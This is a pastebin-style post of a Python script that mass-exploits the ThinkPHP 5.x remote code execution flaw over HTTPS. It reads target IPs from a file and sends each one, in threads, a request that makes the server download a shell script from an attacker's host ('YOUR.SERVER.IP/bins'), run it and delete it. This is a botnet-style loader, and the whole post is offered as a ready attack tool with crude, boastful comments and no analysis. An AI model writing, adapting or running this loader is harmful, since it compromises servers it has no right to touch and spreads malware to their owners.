[Python] ThinkPHP 5x - Remote Code Execution (SSL Version)


SUBMITTED BY: Nyrails

DATE: Nov. 2, 2019, 4:52 p.m.

FORMAT: Python

SIZE: 1.4 kB

HITS: 389

  1. #!/usr/bin/python
  2. # ThinkPHP 5x - Remote Code Execution ( SSL VERSION )
  3. # Scan on port 443 for more results the original version of that exploit / loader is fucking bullshit
  4. # Modified by vbrxmr the your daddy
  5. import threading
  6. import socket
  7. import ssl
  8. import time
  9. import sys
  10. info = open(str(sys.argv[1]),'a+')
  11. class thinkphp(threading.Thread):
  12. def __init__(self, ip):
  13. threading.Thread.__init__(self)
  14. self.ip = str(ip).rstrip('\n')
  15. def run(self):
  16. try:
  17. request = "GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd /tmp; wget http://YOUR.SERVER.IP/bins/vbrxmr.sh; chmod 777 vbrxmr.sh; sh vbrxmr.sh; rm -rf vbrxmr.sh' HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: chokemedaddy/1.0\r\n\r\n" # payload stage
  18. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  19. ssl_sock = ssl.wrap_socket(sock)
  20. ssl_sock.connect((self.ip, 443)) # https port for the socket connection do not change this moron
  21. ssl_sock.sendall(request.encode('utf-8')) # some encoding
  22. ssl_sock.close()
  23. except Exception as e:
  24. print(e)
  25. return
  26. for ip in info:
  27. try:
  28. time.sleep(0.01)
  29. thinkphp(ip).start()
  30. except:
  31. pass

comments powered by Disqus